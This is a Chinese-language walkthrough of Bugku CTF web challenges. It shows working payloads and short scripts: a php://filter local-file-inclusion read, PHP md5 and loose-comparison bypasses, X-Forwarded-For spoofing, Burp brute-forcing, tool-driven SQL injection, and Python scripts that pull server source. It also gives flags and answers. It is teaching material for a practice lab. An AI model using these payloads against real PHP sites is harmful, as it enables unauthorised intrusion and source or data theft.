- web2">web2
- 计算器">计算器
- web基础$_GET">web基础$_GET
- web基础$_POST">web基础$_POST
- 矛盾">矛盾
- web3">web3
- 域名解析
- 你必须让他停下">你必须让他停下
- 本地包含">本地包含
- 变量1">变量1
- web5">web5
- 头等舱">头等舱
- 网站被黑">网站被黑
- 管理员系统">管理员系统
- web4">web4
- flag在index里">flag在index里
- 输入密码查看flag">输入密码查看flag
- 点击一百万次">点击一百万次
- 备份是个好习惯">备份是个好习惯
- 成绩单(缺手工注入)">成绩单(缺手工注入)
- 秋名山老司机">秋名山老司机
- 速度要快">速度要快
- cookies欺骗">cookies欺骗
- never give up">never give up
web2
查看源代码就能找到key

计算器
先习惯性的看眼网页元素

很明显这里对输入框的字符长度做了限制,改成验证码答案的位数就行,改大点也没事

web基础$_GET
打开网页,页面提示已经很明显了

按照要求提交参数即可

web基础$_POST
post提交参数,可以直接用HackBar,或者burpsuite抓包

burpsuite抓包修改的话,发现是GET请求,先Change request method,然后在报文最后加上what=flag即可

矛盾
看着和前面那题差不多

不过按照之前的方法没用,那就查一下这里提到的is_numeric函数

要想得到flag,必须进入这个if代码块里面,所以num的赋值不能是数值。而因为num变量是与1比较,在比较的时候会默认把num转化为数字型。
因此只需要在1后面添加任意字符即可

web3
无尽的弹窗,查看源代码可以看到这里有一行被注释的代码

HTML转义,用CTFCrackTools就行

域名解析
听说把 flag.baidu.com 解析到123.206.87.240 就能拿到flag
一开始地址栏填域名,Host改成IP不行,反过来就对了(拿出小本本记下

你必须让他停下
emmm闪来闪去我就直接丢到burpsuite的repeater里go几次就找到了flag

本地包含
是我的问题?我现在打不开这个页面emm看一下别人的题解吧
变量1
代码审计还没涉及到,先看看别人的题解

注意到最后的eval("var_dump(args);");,有两个

所以,只需要给变量传一个全局数组变量就好了

web5
说了是js混淆,那就查看源代码看到一串奇怪的东西,丢到控制台,回车一下得到flag

头等舱
什么也没有
是真的什么也没有,查看源代码也什么都没有,丢到burpsuite的repeater里go一下就什么都有了

网站被黑
源代码看不出有什么问题,就只好用工具扫一下后台了

打开第二个网址,用burp爆破一下

按照长度排序找到破解出来的密码:hack,查看Responce得到flag

管理员系统
查看源码,发现最后有些奇怪的东西

明显base64加密,解密得到test123,猜测为密码,输入后出现如下提示

看到这个就想到X-Forwarded-For,伪造一下然后go,成功获得flag

web4
提示查看源代码,发现一些url编码

解码并格式化后得到
function checkSubmit() {var a = document.getElementById("password");if ("undefined" != typeof a) {if ("67d709b2b54aa2aa648cf6e87a7114f1" == a.value) return ! 0;alert("Error");a.focus();return ! 1}}document.getElementById("levelQuest").onsubmit = checkSubmit;
输入67d709b2b54aa2aa648cf6e87a7114f1得到key
flag在index里
参考wp:经典的本地文件包含漏洞+php伪协议的结合应用
注意到url地址http://123.206.87.240:8005/post/index.php?file=show.php
这是一个典型的文件包含漏洞,(file关键字是提示,其实也是CTF的套路)
这里用到了php的封装协议,所以访问http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
得到如下一串编码PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==
很明显是base64编码,hackbar解码一下,得到flag
<html><title>Bugku-ctf</title><?phperror_reporting(0);if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}$file=$_GET['file'];if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){echo "Oh no!";exit();}include($file);//flag:flag{edulcni_elif_lacol_si_siht}?></html>
file=php://filter/read=convert.base64-encode/resource=index.php的含义- 首先这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php,通过传递这个参数可以得到index.php的源码。
- 看到源码中的include函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。
- 而include的内容是由用户控制的,所以通过传递的file参数,使
include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,返回源码,所以得到了源码的base64格式,解码即可。 - 如果不进行base64编码传入,就会直接执行,而flag的信息在注释中,是得不到的。
输入密码查看flag
一共就5位数,还不爆破?更何况提示这么明显?
burp拦截,选择payload点


不用等全都跑完,按照回文长度排个序,很快就得到flag

点击一百万次
网站404了,看了下别人的wp,两种方法
先上源码

- F12,进入控制台,输入
clicks=1000000,回车,再点击一下网站图案,得到flag - 用POST提交
cllicks=1000000,得到flag
备份是个好习惯
打开就是一串字符,没什么思路…(做题太少根本没想到扫目录

.bak,果然备份是个好习惯,打开url下载了一个文件,打开看看
<?php/*** Created by PhpStorm.* User: Norse* Date: 2017/8/6* Time: 20:22*/include_once "flag.php";ini_set("display_errors", 0);$str = strstr($_SERVER['REQUEST_URI'], '?');$str = substr($str,1);$str = str_replace('key','',$str); //将key替换为空,所以需要利用到重写(kkeyey)绕过parse_str($str);echo md5($key1);echo md5($key2);if(md5($key1) == md5($key2) && $key1 !== $key2){echo $flag."取得flag";}?>
整段代码的意思是将get的两个参数中的key替换为空(这里可以用kekeyy绕过),然后对key1、key2的值进行md5加密,并进行比较,如果md5加密的值一样而未加密的值不同,就输出flag。
- 构造payload:
?kkeyey1[]=123&kkeyey2[]=456md5()中需要传入的是一个string类型的参数,当传递一个数组时,是不会报错的。函数无法求出数组的MD5值,这样导致任意两个数组的MD5值都相等,从而绕过输入数值的判断。- md5算法比较数组会返回NULL,也就是等值。
- 构造payload:
?kkeyey1=QNKCDZO&kkeyey2=s878926199a==是比较运算,它不会去检查条件式的表达式的类型;===是恒等,它会检查查表达式的值与类型是否相等。- PHP在处理哈希字符串时,会利用
!=或==来对哈希值进行比较,它把每一个以0E开头的哈希值都解释为0(遇到0ed+这种字符串,就会将这种字符串解析为科学计数法),所以如果两个不同的密码经过哈希以后,其哈希值都是以0E开头的,那么PHP将会认为他们相同,都是0。 - MD5值都是0e开头的字符串:
QNKCDZO、240610708、s878926199a、s155964671a、s214587387a、s214587387a
成绩单(缺手工注入)
看了不少wp都是手工注入,sql注入还没学到家,先借助工具吧@椰树1.9
网站打开,源码元素都没什么有用的信息,涉及查询怀疑存在sql注入
打开椰树,输入url,修改post提交,打开网址然后扫描url
发现sql注入漏洞,右键SQL INJECTION POC
获取信息,环境出来后全部选中,再次获取信息

依次选中,获取表名、字段、获取数据,得到flag
秋名山老司机
2s是不可能手算出来再提交的…只能借助脚本,网页多刷新几次会发现提示

看了下别人的wp都是用py写的脚本,抄抄改改学学
# -*- coding: utf-8 -*-import re #re模块是正则表达式,用于匹配字符串当中的一定字符,但是说匹配这里却用来提取字符import requests #请求模块s = requests.session() #用s存session,session和cookie都用于身份识别,相当于记录身份url = 'http://123.206.87.240:8002/qiumingshan/'source = s.get(url) #用此身份请求url,得到页面对象,为了得到后面r.text的内容expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group()'''re.search扫描一个字符串返回第一个匹配成功的值,.text为服务器返回页面的内容,在.text中匹配需要的计算公式,r表示字符串为原始字符串,里面的"\"不再被认为转义字符“\d+” 匹配一个或者多个字符“[+-*]” 匹配加号,加号,乘号,因为式子里面包含这三种运算,"-“在中括号里面为特殊符号,使用”\"转义“\d+” 再匹配一个字符或者多个字符'''result = eval(expression) #计算post = {'value': result}print(s.post(url, data = post).text)
速度要快
首先查看源代码
抓包分析一下
base64解密,得到:跑的还不错,给你flag吧: OTAxOTcz,再次对字符串base64解密,得到901973。查看请求头,发现存在PHPSESSID,每次刷新得到的都不一样,所以要用python在同一个session下提交margin
import requestsimport base64url = 'http://123.206.87.240:8002/web6/'s = requests.Session()headers = s.get(url).headersstr1 = base64.b64decode(headers['flag'])str2 = base64.b64decode(repr(str1).split(':')[1])data = {'margin' : str2}flag = s.post(url, data = data)print(flag.text)
cookies欺骗
输入url,发现访问了:http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
对filename进行base64解密,发现其名为keys.txt,尝试访问index.php,对其进行base64加密aW5kZXgucGhw,发现是空白页面,前面还有一个line,尝试修改为1,2,…n,发现每次返回一行,编写py脚本尝试获得index.php
import requestsa = 25for i in range(a):url = "http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"s = requests.get(url)print(s.text)
<?phperror_reporting(0);$file = base64_decode(isset($_GET['filename']) ? $_GET['filename'] : "");$line = isset($_GET['line']) ? intval($_GET['line']) : 0;if ($file == '') header("location:index.php?line=&filename=a2V5cy50eHQ=");$file_list = array('0' => 'keys.txt','1' => 'index.php',);if (isset($_COOKIE['margin']) && $_COOKIE['margin'] == 'margin') {$file_list[2] = 'keys.php';}if (in_array($file, $file_list)) {$fa = file($file);echo $fa[$line];}?>
构造cookie,filename为keys.php的base64加密,查看页面源代码得到flag
never give up
查看源代码,发现提示1p.html,尝试访问,跳转到bugku,直接view-source:http://123.206.87.240:8006/test/1p.html
发现Words内是url编码,进行解码,得到
var Words ="<script>window.location.href='http://www.bugku.com';</script><!--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ==-->"
注释了一段base64,解密再次得到一段url编码文本,再次解码
";if(!$_GET['id']){header('Location: hello.php?id=1');exit();}$id=$_GET['id'];$a=$_GET['a'];$b=$_GET['b'];if(stripos($a,'.')){echo 'no no no no no no no';return ;}$data = @file_get_contents($a,'r');if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4){require("f4l2a3g.txt");}else{print "never never never give up !!!";}?>
直接访问http://123.206.87.240:8006/test/f4l2a3g.txt,得到flag,绕过方法太麻烦了看这个大佬的wp吧
